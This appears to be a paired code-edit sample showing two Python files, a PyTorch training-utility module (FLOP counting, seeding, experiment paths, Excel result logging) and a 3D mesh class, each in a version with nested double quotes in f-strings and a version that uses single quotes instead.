weight_ops = self.weight.nelement() * (2 if multiply_adds else 1)
bias_ops = self.bias.nelement()
flops = batch_size * (weight_ops + bias_ops)
list_linear.append(flops)
def bn_hook(self, input, output):
list_bn.append(input[0].nelement())
def relu_hook(self, input, output):
list_relu.append(input[0].nelement())
def pooling_hook(self, input, output):
batch_size, input_channels, input_height, input_width = input[0].size()
output_channels, output_height, output_width = output[0].size()
kernel_ops = self.kernel_size * self.kernel_size
bias_ops = 0
params = output_channels * (kernel_ops + bias_ops)
flops = batch_size * params * output_height * output_width
list_pooling.append(flops)
def foo(net):
childrens = list(net.children())
if not childrens:
if isinstance(net, torch.nn.Conv2d):
net.register_forward_hook(conv_hook)
if isinstance(net, torch.nn.Linear):
net.register_forward_hook(linear_hook)
if isinstance(net, torch.nn.BatchNorm2d):
net.register_forward_hook(bn_hook)
if isinstance(net, torch.nn.ReLU):
net.register_forward_hook(relu_hook)
if isinstance(net, torch.nn.MaxPool2d) or isinstance(net, torch.nn.AvgPool2d):
net.register_forward_hook(pooling_hook)
return
for c in childrens:
foo(c)
multiply_adds = False
list_conv, list_bn, list_relu, list_linear, list_pooling = [], [], [], [], []
foo(model)
if "0.4." in torch.__version__ or "1.0" in torch.__version__:
if USE_GPU:
input = torch.cuda.FloatTensor(torch.rand(2, 3, input_size, input_size).cuda())
else:
input = torch.FloatTensor(torch.rand(2, 3, input_size, input_size))
else:
input = Variable(torch.rand(2, 3, input_size, input_size), requires_grad=True)
_ = model(input)
total_flops = sum(list_conv) + sum(list_linear) + sum(list_bn) + sum(list_relu) + sum(list_pooling)
print(" + Number of FLOPs: %.2fG" % (total_flops / 1e9 / 2))
def count_params(model, input_size=224):
# param_sum = 0
# with open('models.txt', 'w') as fm:
# fm.write(str(model))
calc_flops(model, input_size)
model_parameters = filter(lambda p: p.requires_grad, model.parameters())
params = sum([np.prod(p.size()) for p in model_parameters])
print("The network has {} params.".format(params))
def print_head_and_tail(local_rank):
def decorator(func):
@functools.wraps(func)
def wrapper(*args, **kwargs):
if local_rank == 0:
construct_print(f"{datetime.now()}: Start...")
end_str = func(*args, **kwargs)
if local_rank == 0:
construct_print(f"{datetime.now()}: {end_str}...")
return wrapper
return decorator
def construct_exp_name(arg_dict: dict):
# bs_16_lr_0.05_e30_noamp_2gpu_noms_352
focus_item = OrderedDict(
{
"input_size": "size",
"batch_size": "bs",
"lr": "lr",
"epoch_num": "e",
"use_amp": "amp",
"is_distributed": "dist",
"size_list": "ms",
"version": "v",
}
)
exp_name = f"{arg_dict["model"]}"
for k, v in focus_item.items():
item = arg_dict[k]
if isinstance(item, bool):
item = "Y" if item else "N"
elif isinstance(item, (list, tuple)):
item = "Y" if item else "N" # 只是判断是否飞空
elif isinstance(item, str):
if not item:
continue
elif item == None:
item = "N"
if isinstance(item, str):
item = item.lower()
exp_name += f"_{v.upper()}{item}"
return exp_name
def construct_path_dict(proj_root, exp_name, xlsx_name):
ckpt_path = os.path.join(proj_root, "output")
pth_log_path = os.path.join(ckpt_path, exp_name)
tb_path = os.path.join(pth_log_path, "tb")
save_path = os.path.join(pth_log_path, "pre")
pth_path = os.path.join(pth_log_path, "pth")
final_full_model_path = os.path.join(pth_path, "checkpoint_final.pth.tar")
final_state_path = os.path.join(pth_path, "state_final.pth")
tr_log_path = os.path.join(pth_log_path, f"tr_{str(datetime.now())[:10]}.txt")
te_log_path = os.path.join(pth_log_path, f"te_{str(datetime.now())[:10]}.txt")
cfg_log_path = os.path.join(pth_log_path, f"cfg_{str(datetime.now())[:10]}.txt")
trainer_log_path = os.path.join(pth_log_path, f"trainer_{str(datetime.now())[:10]}.txt")
xlsx_path = os.path.join(ckpt_path, xlsx_name)
path_config = {
"ckpt_path": ckpt_path,
"pth_log": pth_log_path,
"tb": tb_path,
"save": save_path,
"pth": pth_path,
"final_full_net": final_full_model_path,
"final_state_net": final_state_path,
"tr_log": tr_log_path,
"te_log": te_log_path,
"cfg_log": cfg_log_path,
"trainer_log": trainer_log_path,
"xlsx": xlsx_path,
}
return path_config
def get_FLOPs_Params(model, channels, input_size=320, mode="print"):
input = torch.randn(1, channels, input_size, input_size).cuda()
flops, params = profile(model, inputs=(input,))
if mode == "print":
print(f" + Number of FLOPs: {flops / 1e9:.2f}G\n The network has {params} params.")
elif mode == "return":
return flops, params
elif mode == "print&return":
msg = f" + Number of FLOPs: {flops / 1e9:.2f}G\n The network has {params} params."
print(msg)
return msg
else:
raise NotImplementedError
def make_xlsx(xlsx_path):
num_metrics = len(metric_list)
num_datasets = len(dataset_list)
# 创建一个Workbook对象
wb = Workbook()
# 创建一个Sheet对象
sheet = wb.create_sheet(title="Results", index=0)
# 获取活动的sheet
sheet["A1"] = "name_dataset"
sheet["A2"] = "num_dataset"
for i, dataset_name in enumerate(dataset_list):
if (i * num_metrics + 1) // 26 == 0:
start_region_idx = f"{chr(ord("A") + (i * num_metrics + 1) % 26)}1"
else:
start_region_idx = (
f"{chr(ord("A") + (i * num_metrics + 1) // 26 - 1)}" f"{chr(ord("A") + (i * num_metrics + 1) % 26)}1"
)
if ((i + 1) * num_metrics) // 26 == 0:
end_region_idx = f"{chr(ord("A") + ((i + 1) * num_metrics) % 26)}1"
else:
end_region_idx = (
f"{chr(ord("A") + ((i + 1) * num_metrics) // 26 - 1)}"
f"{chr(ord("A") + ((i + 1) * num_metrics) % 26)}1"
)
region_idx = f"{start_region_idx}:{end_region_idx}"
sheet.merge_cells(region_idx) # 合并一行中的几个单元格
sheet[start_region_idx] = dataset_name
# 构造第二行数据
start_region_idx = start_region_idx.replace("1", "2")
sheet[start_region_idx] = dataset_num_list[i]
# 构造第三行数据
third_row = ["metrics"] + metric_list * num_datasets
sheet.append(third_row)
# 最后保存workbook
wb.save(xlsx_path)
def write_xlsx(model_name, data):
"""
向xlsx文件中写入数据
:param model_name: 模型名字
:param data: 数据信息，包含数据集名字和对应的测试结果
"""
num_metrics = len(metric_list)
num_datasets = len(dataset_list)
# 必须先得由前面的部分进行xlsx文件的创建，确保前三行OK满足要求，后面的操作都是从第四行开始的
wb = load_workbook(path_config["xlsx"])
assert "Results" in wb.sheetnames, "Please make sure you are " "working with xlsx files " "created by `make_xlsx`"
sheet = wb["Results"]
num_cols = num_metrics * num_datasets + 1
if model_name in sheet["A"]:
# 说明，该模型已经存在条目中，只需要更新对应的数据集结果即可
idx_insert_row = sheet["A"].find(model_name)
else:
idx_insert_row = len(sheet["A"]) + 1
sheet.cell(row=idx_insert_row, column=1, value=model_name)
for dataset_name in data.keys():
# 遍历每个单元格
for row in sheet.iter_rows(min_row=1, min_col=2, max_col=num_cols, max_row=1):
for cell in row:
if cell.value == dataset_name:
for i in range(num_metrics):
matric_name = sheet.cell(row=3, column=cell.column + i).value
sheet.cell(
row=idx_insert_row, column=cell.column + i, value=data[dataset_name][matric_name],
)
wb.save(path_config["xlsx"])
def construct_print(out_str: str, total_length: int = 80):
if len(out_str) >= total_length:
extended_str = "=="
else:
extended_str = "=" * ((total_length - len(out_str)) // 2 - 4)
out_str = f" {extended_str}>> {out_str} <<{extended_str} "
print(out_str)
def write_data_to_file(data_str, file_path):
with open(file_path, encoding="utf-8", mode="a") as f:
f.write(data_str + "\n")
if __name__ == "__main__":
print("=" * 8)
out_str = "lartpang"
construct_print(out_str, total_length=8)
| import functools
import os
import random
import warnings
from collections import OrderedDict
from datetime import datetime
import numpy as np
import torch
import torch.backends.cudnn as torchcudnn
from openpyxl import load_workbook, Workbook
from thop import profile
from torch.autograd.variable import Variable
class AvgMeter(object):
def __init__(self):
self.reset()
def reset(self):
self.val = 0
self.avg = 0
self.sum = 0
self.count = 0
def update(self, val, n=1):
self.val = val
self.sum += val * n
self.count += n
self.avg = self.sum / self.count
def check_mkdir(dir_path):
if not os.path.exists(dir_path):
os.makedirs(dir_path)
def init_seed(seed: int):
os.environ["PYTHONHASHSEED"] = str(seed)
random.seed(seed)
np.random.seed(seed)
torch.manual_seed(seed)
torch.cuda.manual_seed_all(seed) # if you are using multi-GPU.
def init_cudnn(benchmark=True):
torchcudnn.enabled = True
if benchmark:
construct_print("We don't use the multi-training, so we will use the `cudnn.benchmark`")
torchcudnn.benchmark = benchmark
torchcudnn.deterministic = True
construct_print(
"You have chosen to seed training. "
"This will turn on the CUDNN deterministic setting, "
"which can slow down your training considerably! "
"You may see unexpected behavior when restarting "
"from checkpoints."
)
def calc_flops(model, input_size):
# USE_GPU = torch.cuda.is_available()
USE_GPU = False
def conv_hook(self, input, output):
batch_size, input_channels, input_height, input_width = input[0].size()
output_channels, output_height, output_width = output[0].size()
kernel_ops = (
self.kernel_size[0] * self.kernel_size[1] * (self.in_channels / self.groups) * (2 if multiply_adds else 1)
)
bias_ops = 1 if self.bias is not None else 0
params = output_channels * (kernel_ops + bias_ops)
flops = batch_size * params * output_height * output_width
list_conv.append(flops)
def linear_hook(self, input, output):
batch_size = input[0].size(0) if input[0].dim() == 2 else 1
weight_ops = self.weight.nelement() * (2 if multiply_adds else 1)
bias_ops = self.bias.nelement()
flops = batch_size * (weight_ops + bias_ops)
list_linear.append(flops)
def bn_hook(self, input, output):
list_bn.append(input[0].nelement())
def relu_hook(self, input, output):
list_relu.append(input[0].nelement())
def pooling_hook(self, input, output):
batch_size, input_channels, input_height, input_width = input[0].size()
output_channels, output_height, output_width = output[0].size()
kernel_ops = self.kernel_size * self.kernel_size
bias_ops = 0
params = output_channels * (kernel_ops + bias_ops)
flops = batch_size * params * output_height * output_width
list_pooling.append(flops)
def foo(net):
childrens = list(net.children())
if not childrens:
if isinstance(net, torch.nn.Conv2d):
net.register_forward_hook(conv_hook)
if isinstance(net, torch.nn.Linear):
net.register_forward_hook(linear_hook)
if isinstance(net, torch.nn.BatchNorm2d):
net.register_forward_hook(bn_hook)
if isinstance(net, torch.nn.ReLU):
net.register_forward_hook(relu_hook)
if isinstance(net, torch.nn.MaxPool2d) or isinstance(net, torch.nn.AvgPool2d):
net.register_forward_hook(pooling_hook)
return
for c in childrens:
foo(c)
multiply_adds = False
list_conv, list_bn, list_relu, list_linear, list_pooling = [], [], [], [], []
foo(model)
if "0.4." in torch.__version__ or "1.0" in torch.__version__:
if USE_GPU:
input = torch.cuda.FloatTensor(torch.rand(2, 3, input_size, input_size).cuda())
else:
input = torch.FloatTensor(torch.rand(2, 3, input_size, input_size))
else:
input = Variable(torch.rand(2, 3, input_size, input_size), requires_grad=True)
_ = model(input)
total_flops = sum(list_conv) + sum(list_linear) + sum(list_bn) + sum(list_relu) + sum(list_pooling)
print(" + Number of FLOPs: %.2fG" % (total_flops / 1e9 / 2))
def count_params(model, input_size=224):
# param_sum = 0
# with open('models.txt', 'w') as fm:
# fm.write(str(model))
calc_flops(model, input_size)
model_parameters = filter(lambda p: p.requires_grad, model.parameters())
params = sum([np.prod(p.size()) for p in model_parameters])
print("The network has {} params.".format(params))
def print_head_and_tail(local_rank):
def decorator(func):
@functools.wraps(func)
def wrapper(*args, **kwargs):
if local_rank == 0:
construct_print(f"{datetime.now()}: Start...")
end_str = func(*args, **kwargs)
if local_rank == 0:
construct_print(f"{datetime.now()}: {end_str}...")
return wrapper
return decorator
def construct_exp_name(arg_dict: dict):
# bs_16_lr_0.05_e30_noamp_2gpu_noms_352
focus_item = OrderedDict(
{
"input_size": "size",
"batch_size": "bs",
"lr": "lr",
"epoch_num": "e",
"use_amp": "amp",
"is_distributed": "dist",
"size_list": "ms",
"version": "v",
}
)
exp_name = f"{arg_dict['model']}"
for k, v in focus_item.items():
item = arg_dict[k]
if isinstance(item, bool):
item = "Y" if item else "N"
elif isinstance(item, (list, tuple)):
item = "Y" if item else "N" # 只是判断是否飞空
elif isinstance(item, str):
if not item:
continue
elif item == None:
item = "N"
if isinstance(item, str):
item = item.lower()
exp_name += f"_{v.upper()}{item}"
return exp_name
def construct_path_dict(proj_root, exp_name, xlsx_name):
ckpt_path = os.path.join(proj_root, "output")
pth_log_path = os.path.join(ckpt_path, exp_name)
tb_path = os.path.join(pth_log_path, "tb")
save_path = os.path.join(pth_log_path, "pre")
pth_path = os.path.join(pth_log_path, "pth")
final_full_model_path = os.path.join(pth_path, "checkpoint_final.pth.tar")
final_state_path = os.path.join(pth_path, "state_final.pth")
tr_log_path = os.path.join(pth_log_path, f"tr_{str(datetime.now())[:10]}.txt")
te_log_path = os.path.join(pth_log_path, f"te_{str(datetime.now())[:10]}.txt")
cfg_log_path = os.path.join(pth_log_path, f"cfg_{str(datetime.now())[:10]}.txt")
trainer_log_path = os.path.join(pth_log_path, f"trainer_{str(datetime.now())[:10]}.txt")
xlsx_path = os.path.join(ckpt_path, xlsx_name)
path_config = {
"ckpt_path": ckpt_path,
"pth_log": pth_log_path,
"tb": tb_path,
"save": save_path,
"pth": pth_path,
"final_full_net": final_full_model_path,
"final_state_net": final_state_path,
"tr_log": tr_log_path,
"te_log": te_log_path,
"cfg_log": cfg_log_path,
"trainer_log": trainer_log_path,
"xlsx": xlsx_path,
}
return path_config
def get_FLOPs_Params(model, channels, input_size=320, mode="print"):
input = torch.randn(1, channels, input_size, input_size).cuda()
flops, params = profile(model, inputs=(input,))
if mode == "print":
print(f" + Number of FLOPs: {flops / 1e9:.2f}G\n The network has {params} params.")
elif mode == "return":
return flops, params
elif mode == "print&return":
msg = f" + Number of FLOPs: {flops / 1e9:.2f}G\n The network has {params} params."
print(msg)
return msg
else:
raise NotImplementedError
def make_xlsx(xlsx_path):
num_metrics = len(metric_list)
num_datasets = len(dataset_list)
# 创建一个Workbook对象
wb = Workbook()
# 创建一个Sheet对象
sheet = wb.create_sheet(title="Results", index=0)
# 获取活动的sheet
sheet["A1"] = "name_dataset"
sheet["A2"] = "num_dataset"
for i, dataset_name in enumerate(dataset_list):
if (i * num_metrics + 1) // 26 == 0:
start_region_idx = f"{chr(ord('A') + (i * num_metrics + 1) % 26)}1"
else:
start_region_idx = (
f"{chr(ord('A') + (i * num_metrics + 1) // 26 - 1)}" f"{chr(ord('A') + (i * num_metrics + 1) % 26)}1"
)
if ((i + 1) * num_metrics) // 26 == 0:
end_region_idx = f"{chr(ord('A') + ((i + 1) * num_metrics) % 26)}1"
else:
end_region_idx = (
f"{chr(ord('A') + ((i + 1) * num_metrics) // 26 - 1)}"
f"{chr(ord('A') + ((i + 1) * num_metrics) % 26)}1"
)
region_idx = f"{start_region_idx}:{end_region_idx}"
sheet.merge_cells(region_idx) # 合并一行中的几个单元格
sheet[start_region_idx] = dataset_name
# 构造第二行数据
start_region_idx = start_region_idx.replace("1", "2")
sheet[start_region_idx] = dataset_num_list[i]
# 构造第三行数据
third_row = ["metrics"] + metric_list * num_datasets
sheet.append(third_row)
# 最后保存workbook
wb.save(xlsx_path)
def write_xlsx(model_name, data):
"""
向xlsx文件中写入数据
:param model_name: 模型名字
:param data: 数据信息，包含数据集名字和对应的测试结果
"""
num_metrics = len(metric_list)
num_datasets = len(dataset_list)
# 必须先得由前面的部分进行xlsx文件的创建，确保前三行OK满足要求，后面的操作都是从第四行开始的
wb = load_workbook(path_config["xlsx"])
assert "Results" in wb.sheetnames, "Please make sure you are " "working with xlsx files " "created by `make_xlsx`"
sheet = wb["Results"]
num_cols = num_metrics * num_datasets + 1
if model_name in sheet["A"]:
# 说明，该模型已经存在条目中，只需要更新对应的数据集结果即可
idx_insert_row = sheet["A"].find(model_name)
else:
idx_insert_row = len(sheet["A"]) + 1
sheet.cell(row=idx_insert_row, column=1, value=model_name)
for dataset_name in data.keys():
# 遍历每个单元格
for row in sheet.iter_rows(min_row=1, min_col=2, max_col=num_cols, max_row=1):
for cell in row:
if cell.value == dataset_name:
for i in range(num_metrics):
matric_name = sheet.cell(row=3, column=cell.column + i).value
sheet.cell(
row=idx_insert_row, column=cell.column + i, value=data[dataset_name][matric_name],
)
wb.save(path_config["xlsx"])
def construct_print(out_str: str, total_length: int = 80):
if len(out_str) >= total_length:
extended_str = "=="
else:
extended_str = "=" * ((total_length - len(out_str)) // 2 - 4)
out_str = f" {extended_str}>> {out_str} <<{extended_str} "
print(out_str)
def write_data_to_file(data_str, file_path):
with open(file_path, encoding="utf-8", mode="a") as f:
f.write(data_str + "\n")
if __name__ == "__main__":
print("=" * 8)
out_str = "lartpang"
construct_print(out_str, total_length=8)
|
import numpy as np
from ..visualization import Viewer
from ..utils import Subject, Observer
import copy
class Clipping(object):
class __Flip(object):
def __init__(self):
self.x = False
self.y = False
self.z = False
def __init__(self):
self.min_x = None
self.max_x = None
self.min_y = None
self.max_y = None
self.min_z = None
self.max_z = None
self.flip = self.__Flip()
super(Clipping, self).__init__()
def __repr__(self):
return ("Clipping:\n" +
f"min_x: {self.min_x} \tmax_x: {self.max_x} \t{("flipped" if self.flip.x else "")}\n" +
f"min_y: {self.min_y} \tmax_y: {self.max_y} \t{("flipped" if self.flip.y else "")}\n" +
f"min_z: {self.min_z} \tmax_z: {self.max_z} \t{("flipped" if self.flip.z else "")}\n")
class AbstractMesh(Observer, Subject):
"""
This class represents a generic mesh. It must be estended by a specific mesh class. It stores all the information
shared among the different kind of supported meshes.
"""
def __init__(self):
self.__finished_loading = False
self.vertices = None #npArray (Nx3)
self.vtx_normals = None #npArray (Nx3) ## Is this used by volumetric meshes? Consider moving it inside surface meshes only
self.faces = None #npArray (NxM)
self.uvcoords = None
self.coor = [] #Mappatura indici coordinate uv per faccia
self._dont_update = False
self.__vtx2face = None #npArray (NxM)
self.__vtx2vtx = None #npArray (Nx1)
self.__face2face = None
self.__bounding_box = None #npArray (2x3)
self.simplex_metrics = dict() #dictionary[propertyName : ((min, max), npArray (Nx1))]
self.__simplex_centroids = None #npArray (Nx1)
self.__clipping = Clipping()
self.__boundary_needs_update = True
self.__boundary_cached = None
self.texture = None
self.material = {}
self.smoothness = False
Observer.__init__(self)
Subject.__init__(self)
# ==================== METHODS ==================== #
def __setattr__(self, key, value):
self.__dict__[key] = value
if key[0] != "_" and self.__finished_loading:
self.update()
def copy(self):
"""
Remember to add that this doesn't copy observer, vtx2vtx and vtx2face, and this is a value copy"""
new = type(self)()
for key in self.__dict__.keys():
if "observer" not in key and "vtx2vtx" not in key and "vtx2face" not in key and "vtx2tet" not in key and "vtx2hex" not in key:
setattr(new, key, copy.deepcopy(getattr(self, key)))
return new
def update(self):
self.__boundary_needs_update = True
self.__update_bounding_box()
if (not self._dont_update):
self._notify()
def show(self, width = 700, height = 700, mesh_color = None, reactive = False):
"""
Show the mesh within the current cell. It is possible to manipulate the mesh through the UI.
Parameters:
UI (bool): Show or not show the graphic user interface of the viewer
width (int): The width of the canvas
height (int): The height of thne canvas
Return:
Viewer: The viewer object
"""
texture = self.texture
view = Viewer(self, width = width, height = height, reactive=reactive)
view.show()
return view
@property
def clipping(self):
return self.__clipping
def set_clipping(self, min_x = None, max_x = None,
min_y = None, max_y = None,
min_z = None, max_z = None,
flip_x = None, flip_y = None, flip_z = None):
"""
clipping the mesh along x, y and z axes. It doesn't affect the geometry of the mesh.
Parameters:
min_x (float): The minimum value of x
max_x (float): The maximum value of x
min_y (float): The minimum value of y
max_y (float): The maximum value of y
min_z (float): The minimum value of z
max_z (float): The maximum value of z
"""
if min_x is not None:
self.__clipping.min_x = min_x
if max_x is not None:
self.__clipping.max_x = max_x
if min_y is not None:
self.__clipping.min_y = min_y
if max_y is not None:
self.__clipping.max_y = max_y
if min_z is not None:
self.__clipping.min_z = min_z
if max_z is not None:
self.__clipping.max_z = max_z
if flip_x is not None:
self.__clipping.flip.x = flip_x
if flip_y is not None:
self.__clipping.flip.y = flip_y
if flip_z is not None:
self.__clipping.flip.z = flip_z
self.__boundary_needs_update = True
self.update()
def reset_clipping(self):
"""
Set the clippings to the bounding box in order to show the whole mesh.
"""
self.set_clipping(min_x = self.bbox[0,0], max_x = self.bbox[1,0],
min_y = self.bbox[0,1], max_y = self.bbox[1,1],
min_z = self.bbox[0,2], max_z = self.bbox[1,2])
self.__boundary_needs_update = True
self.update()
def load_from_file(filename):
raise NotImplementedError('This method must be implemented in the subclasses')
def __compute_adjacencies(self):
raise NotImplementedError('This method must be implemented in the subclasses')
def save_file(self, filename):
raise NotImplementedError('This method must be implemented in the subclasses')
def get_metric(self, property_name, id_element):
"""
Get a specific metric element from the dictionary of metrics 'simplex_metrics'.
Parameters:
property_name (string): The name of the wanted metric
id_element (int): The index of a specific element of the metric
Returns:
object: The specific metric element. The return type depends on the metric
"""
return self.simplex_metrics[property_name][id_element]
@property
def simplex_centroids(self):
raise NotImplementedError('This method must be implemented in the subclasses')
def __compute_metrics(self):
raise NotImplementedError('This method must be implemented in the subclasses')
def as_triangles_flat(self):
raise NotImplementedError('This method must be implemented in the subclasses')
def as_edges_flat(self):
raise NotImplementedError('This method must be implemented in the subclasses')
def _as_threejs_colors(self):
raise NotImplementedError('This method must be implemented in the subclasses')
@property
def num_triangles(self):
raise NotImplementedError('This method must be implemented in the subclasses')
def boundary(self):
"""
Compute the boundary of the current mesh. It only returns the faces that are inside the clipping
"""
min_x = self.clipping.min_x
max_x = self.clipping.max_x
min_y = self.clipping.min_y
max_y = self.clipping.max_y
min_z = self.clipping.min_z
max_z = self.clipping.max_z
flip_x = self.clipping.flip.x
flip_y = self.clipping.flip.y
flip_z = self.clipping.flip.z
centroids = np.array(self.simplex_centroids)
x_range = np.logical_xor(flip_x,((centroids)[:,0] >= min_x) & (centroids[:,0] <= max_x))
y_range = np.logical_xor(flip_y,((centroids[:,1] >= min_y) & (centroids[:,1] <= max_y)))
z_range = np.logical_xor(flip_z,((centroids[:,2] >= min_z) & (centroids[:,2] <= max_z)))
clipping_range = x_range & y_range & z_range
return clipping_range
def add_vertex(self, x, y, z):
"""
Add a new vertex to the current mesh. It affects the mesh geometry.
Parameters:
x (float): The x coordinate of the new vertex
y (float): The y coordinate of the new vertex
z (float): The z coordinate of the new vertex
"""
self._dont_update = True
new_vertex = np.array([x,y,z], dtype=np.float)
new_vertex.shape = (1,3)
self.vertices = np.concatenate([self.vertices, new_vertex])
self._dont_update = False
self.update()
def add_vertices(self, new_vertices):
"""
Add a list of new vertices to the current mesh. It affects the mesh geometry.
Parameters:
new_vertices (Array (Nx3) type=float): List of vertices to add. Each vertex is in the form [float,float,float]
"""
self._dont_update = True
new_vertices = np.array(new_vertices)
self.vertices = np.concatenate([self.vertices, new_vertices])
self._dont_update = False
self.update()
'''
approccio iniziale
index = 0
for r in self.vertices[:]:
vertix = np.resize(r, (4, 1))
vertix[-1, :] = 1
aux = matrix @ vertix
self.vertices[index] = np.resize(aux, (1, 3))
index += 1
'''
def translation (self, t):
self._dont_update = True
matrix = np.identity(4)
t = np.resize(t, (1, 4))
t[:, -1] = 1
matrix[:, -1] = t
#crea un array colonna con il vettore vertices e nell'ultima colonna un vettore di soli 1
a = np.hstack((self.vertices, np.ones((self.vertices.shape[0], 1))))#(nx3)->(nx4)
#moltiplica l'array appena creato con la matrice di trasformazione trasposta (per non trasporre tutte le righe di vertices)
self.vertices = a.dot(matrix.T)[:,:-1]
self._dont_update = False
self.update()
def scaleT (self, t):
self._dont_update = True
t = np.append(t, 1)
matrix = np.diag(t)
#crea un array colonna con il vettore vertices e nell'ultima colonna un vettore di soli 1
a = np.hstack((self.vertices, np.ones((self.vertices.shape[0], 1))))#(nx3)->(nx4)
#moltiplica l'array appena creato con la matrice di trasformazione trasposta (per non trasporre tutte le righe di vertices)
self.vertices = a.dot(matrix.T)[:,:-1]
self._dont_update = False
self.update()
def matrixRotation(self, alpha, c):
sin = np.sin(np.radians(alpha))
if alpha > 0:
cos = np.cos(np.radians(alpha))
else:
cos = -np.cos(np.radians(np.abs(alpha)))
if type(c) is str or type(c) is int:
if c == 'x' or c == 0:
matrix = np.identity(4)
matrix[1:3, 1:3] = [[cos, -sin], [sin, cos]]
elif c =='y' or c == 1:
matrix = np.identity(4)
matrix[:3, :3] = [[cos, 0, sin], [0, 1, 0], [-sin, 0, cos]]
elif c == 'z' or c == 2:
matrix = np.identity(4)
matrix[:2, :2] = [[cos, -sin], [sin, cos]]
else:
raise Exception('Not a valid axis')
return matrix
else:
raise Exception('Not a str')
def rotation(self, angle, axis):
matrix = self.matrixRotation(angle, axis)
#crea un array colonna con il vettore vertices e nell'ultima colonna un vettore di soli 1
a = np.hstack((self.vertices, np.ones((self.vertices.shape[0], 1))))#(nx3)->(nx4)
#moltiplica l'array appena creato con la matrice di trasformazione trasposta (per non trasporre tutte le righe di vertices)
self.vertices = a.dot(matrix.T)[:,:-1]
self._dont_update = False
self.update()
@property
def vtx2vtx(self):
return self.__vtx2vtx
@property
def vtx2face(self):
return self.__vtx2face
@property
def bbox(self):
return self.__bounding_box
@property
def num_vertices(self):
return self.vertices.shape[0]
@property
def center(self):
x1, x2 = self.__bounding_box[0][0], self.__bounding_box[1][0]
y1, y2 = self.__bounding_box[0][1], self.__bounding_box[1][1]
z1, z2 = self.__bounding_box[0][2], self.__bounding_box[1][2]
return np.array([(x1+x2)/2, (y1+y2)/2, (z1+z2)/2])
@property
def scale(self):
return np.linalg.norm(self.__bounding_box[0]-self.__bounding_box[1])
def __update_bounding_box(self):
min_x_coord = self.vertices[:,0].min()
max_x_coord = self.vertices[:,0].max()
min_y_coord = self.vertices[:,1].min()
max_y_coord = self.vertices[:,1].max()
min_z_coord = self.vertices[:,2].min()
max_z_coord = self.vertices[:,2].max()
self.__bounding_box = np.array([[min_x_coord, min_y_coord, min_z_coord],
[max_x_coord, max_y_coord, max_z_coord]])
def __repr__(self):
return f"Mesh of {self.num_faces} polygons."
| import numpy as np
from ..visualization import Viewer
from ..utils import Subject, Observer
import copy
class Clipping(object):
class __Flip(object):
def __init__(self):
self.x = False
self.y = False
self.z = False
def __init__(self):
self.min_x = None
self.max_x = None
self.min_y = None
self.max_y = None
self.min_z = None
self.max_z = None
self.flip = self.__Flip()
super(Clipping, self).__init__()
def __repr__(self):
return ("Clipping:\n" +
f"min_x: {self.min_x} \tmax_x: {self.max_x} \t{('flipped' if self.flip.x else '')}\n" +
f"min_y: {self.min_y} \tmax_y: {self.max_y} \t{('flipped' if self.flip.y else '')}\n" +
f"min_z: {self.min_z} \tmax_z: {self.max_z} \t{('flipped' if self.flip.z else '')}\n")
class AbstractMesh(Observer, Subject):
"""
This class represents a generic mesh. It must be estended by a specific mesh class. It stores all the information
shared among the different kind of supported meshes.
"""
def __init__(self):
self.__finished_loading = False
self.vertices = None #npArray (Nx3)
self.vtx_normals = None #npArray (Nx3) ## Is this used by volumetric meshes? Consider moving it inside surface meshes only
self.faces = None #npArray (NxM)
self.uvcoords = None
self.coor = [] #Mappatura indici coordinate uv per faccia
self._dont_update = False
self.__vtx2face = None #npArray (NxM)
self.__vtx2vtx = None #npArray (Nx1)
self.__face2face = None
self.__bounding_box = None #npArray (2x3)
self.simplex_metrics = dict() #dictionary[propertyName : ((min, max), npArray (Nx1))]
self.__simplex_centroids = None #npArray (Nx1)
self.__clipping = Clipping()
self.__boundary_needs_update = True
self.__boundary_cached = None
self.texture = None
self.material = {}
self.smoothness = False
Observer.__init__(self)
Subject.__init__(self)
# ==================== METHODS ==================== #
def __setattr__(self, key, value):
self.__dict__[key] = value
if key[0] != "_" and self.__finished_loading:
self.update()
def copy(self):
"""
Remember to add that this doesn't copy observer, vtx2vtx and vtx2face, and this is a value copy"""
new = type(self)()
for key in self.__dict__.keys():
if "observer" not in key and "vtx2vtx" not in key and "vtx2face" not in key and "vtx2tet" not in key and "vtx2hex" not in key:
setattr(new, key, copy.deepcopy(getattr(self, key)))
return new
def update(self):
self.__boundary_needs_update = True
self.__update_bounding_box()
if (not self._dont_update):
self._notify()
def show(self, width = 700, height = 700, mesh_color = None, reactive = False):
"""
Show the mesh within the current cell. It is possible to manipulate the mesh through the UI.
Parameters:
UI (bool): Show or not show the graphic user interface of the viewer
width (int): The width of the canvas
height (int): The height of thne canvas
Return:
Viewer: The viewer object
"""
texture = self.texture
view = Viewer(self, width = width, height = height, reactive=reactive)
view.show()
return view
@property
def clipping(self):
return self.__clipping
def set_clipping(self, min_x = None, max_x = None,
min_y = None, max_y = None,
min_z = None, max_z = None,
flip_x = None, flip_y = None, flip_z = None):
"""
clipping the mesh along x, y and z axes. It doesn't affect the geometry of the mesh.
Parameters:
min_x (float): The minimum value of x
max_x (float): The maximum value of x
min_y (float): The minimum value of y
max_y (float): The maximum value of y
min_z (float): The minimum value of z
max_z (float): The maximum value of z
"""
if min_x is not None:
self.__clipping.min_x = min_x
if max_x is not None:
self.__clipping.max_x = max_x
if min_y is not None:
self.__clipping.min_y = min_y
if max_y is not None:
self.__clipping.max_y = max_y
if min_z is not None:
self.__clipping.min_z = min_z
if max_z is not None:
self.__clipping.max_z = max_z
if flip_x is not None:
self.__clipping.flip.x = flip_x
if flip_y is not None:
self.__clipping.flip.y = flip_y
if flip_z is not None:
self.__clipping.flip.z = flip_z
self.__boundary_needs_update = True
self.update()
def reset_clipping(self):
"""
Set the clippings to the bounding box in order to show the whole mesh.
"""
self.set_clipping(min_x = self.bbox[0,0], max_x = self.bbox[1,0],
min_y = self.bbox[0,1], max_y = self.bbox[1,1],
min_z = self.bbox[0,2], max_z = self.bbox[1,2])
self.__boundary_needs_update = True
self.update()
def load_from_file(filename):
raise NotImplementedError('This method must be implemented in the subclasses')
def __compute_adjacencies(self):
raise NotImplementedError('This method must be implemented in the subclasses')
def save_file(self, filename):
raise NotImplementedError('This method must be implemented in the subclasses')
def get_metric(self, property_name, id_element):
"""
Get a specific metric element from the dictionary of metrics 'simplex_metrics'.
Parameters:
property_name (string): The name of the wanted metric
id_element (int): The index of a specific element of the metric
Returns:
object: The specific metric element. The return type depends on the metric
"""
return self.simplex_metrics[property_name][id_element]
@property
def simplex_centroids(self):
raise NotImplementedError('This method must be implemented in the subclasses')
def __compute_metrics(self):
